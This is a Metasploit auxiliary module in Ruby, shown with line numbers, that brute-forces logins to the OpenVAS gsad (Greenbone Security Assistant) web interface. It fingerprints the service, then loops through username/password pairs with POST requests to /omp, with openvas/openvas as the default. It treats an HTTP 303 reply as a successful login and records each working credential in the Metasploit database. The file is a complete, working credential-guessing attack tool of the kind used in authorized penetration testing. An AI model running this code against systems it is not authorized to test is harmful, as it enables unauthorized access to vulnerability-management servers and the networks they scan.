1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::HttpClient
8
  include Msf::Auxiliary::Report
9
  include Msf::Auxiliary::AuthBrute
10

11
  include Msf::Auxiliary::Scanner
12

13
  def initialize
14
    super(
15
      'Name' => 'OpenVAS gsad Web Interface Login Utility',
16
      'Description' => %q{
17
        This module simply attempts to login to an OpenVAS gsad interface
18
        using a specific user/pass.
19
      },
20
      'Author' => [ 'Vlatko Kosturjak <kost[at]linux.hr>' ],
21
      'License' => MSF_LICENSE,
22
      'DefaultOptions' => { 'SSL' => true }
23
    )
24

25
    register_options(
26
      [
27
        Opt::RPORT(443),
28
        OptString.new('URI', [true, "URI for OpenVAS omp login. Default is /omp", "/omp"]),
29
        OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false]),
30
      ]
31
    )
32

33
    register_advanced_options(
34
      [
35
        OptString.new('OMP_text', [true, "value for OpenVAS omp text login hidden field", "/omp?cmd=get_tasks&amp;overrides=1"]),
36
        OptString.new('OMP_cmd', [true, "value for OpenVAS omp cmd login hidden field", "login"])
37
      ]
38
    )
39
  end
40

41
  def run_host(ip)
42
    begin
43
      res = send_request_cgi({
44
        'uri' => datastore['URI'],
45
        'method' => 'GET'
46
      }, 25)
47
      http_fingerprint({ :response => res })
48
    rescue ::Rex::ConnectionError => e
49
      vprint_error("#{msg} #{datastore['URI']} - #{e}")
50
      return
51
    end
52

53
    if not res
54
      vprint_error("#{msg} #{datastore['URI']} - No response")
55
      return
56
    end
57
    if res.code != 200
58
      vprint_error("#{msg} - Expected 200 HTTP code - not gsad?")
59
      return
60
    end
61
    if res.body !~ /Greenbone Security Assistant \(GSA\)/
62
      vprint_error("#{msg} - Expected GSA keyword on page - not gsad?")
63
      return
64
    end
65

66
    each_user_pass do |user, pass|
67
      do_login(user, pass)
68
    end
69
  end
70

71
  def do_login(user = 'openvas', pass = 'openvas')
72
    vprint_status("#{msg} - Trying username:'#{user}' with password:'#{pass}'")
73
    headers = {}
74
    begin
75
      res = send_request_cgi({
76
        'encode' => true,
77
        'uri' => datastore['URI'],
78
        'method' => 'POST',
79
        'headers' => headers,
80
        'vars_post' => {
81
          'cmd' => datastore['OMP_cmd'],
82
          'text' => datastore['OMP_text'],
83
          'login' => user,
84
          'password' => pass
85
        }
86
      }, 25)
87
    rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
88
      print_error("#{msg} HTTP Connection Failed, Aborting")
89
      return :abort
90
    end
91

92
    if not res
93
      print_error("#{msg} HTTP Connection Error - res, Aborting")
94
      return :abort
95
    end
96

97
    # vprint_status("#{msg} GOT BODY. '#{user}' : '#{pass}' - #{res.code} #{res.body}")
98

99
    if res.code == 303
100
      print_good("#{msg} SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
101

102
      report_cred(
103
        ip: datastore['RHOST'],
104
        port: datastore['RPORT'],
105
        service_name: 'openvas-gsa',
106
        user: user,
107
        password: pass,
108
        proof: res.code.to_s
109
      )
110
      return :next_user
111
    end
112
    vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}'")
113
    return :skip_pass
114
  end
115

116
  def report_cred(opts)
117
    service_data = {
118
      address: opts[:ip],
119
      port: opts[:port],
120
      service_name: opts[:service_name],
121
      protocol: 'tcp',
122
      workspace_id: myworkspace_id
123
    }
124

125
    credential_data = {
126
      origin_type: :service,
127
      module_fullname: fullname,
128
      username: opts[:user],
129
      private_data: opts[:password],
130
      private_type: :password
131
    }.merge(service_data)
132

133
    login_data = {
134
      core: create_credential(credential_data),
135
      status: Metasploit::Model::Login::Status::UNTRIED,
136
      proof: opts[:proof]
137
    }.merge(service_data)
138

139
    create_credential_login(login_data)
140
  end
141

142
  def msg
143
    "#{vhost}:#{rport} OpenVAS gsad -"
144
  end
145
end
146

147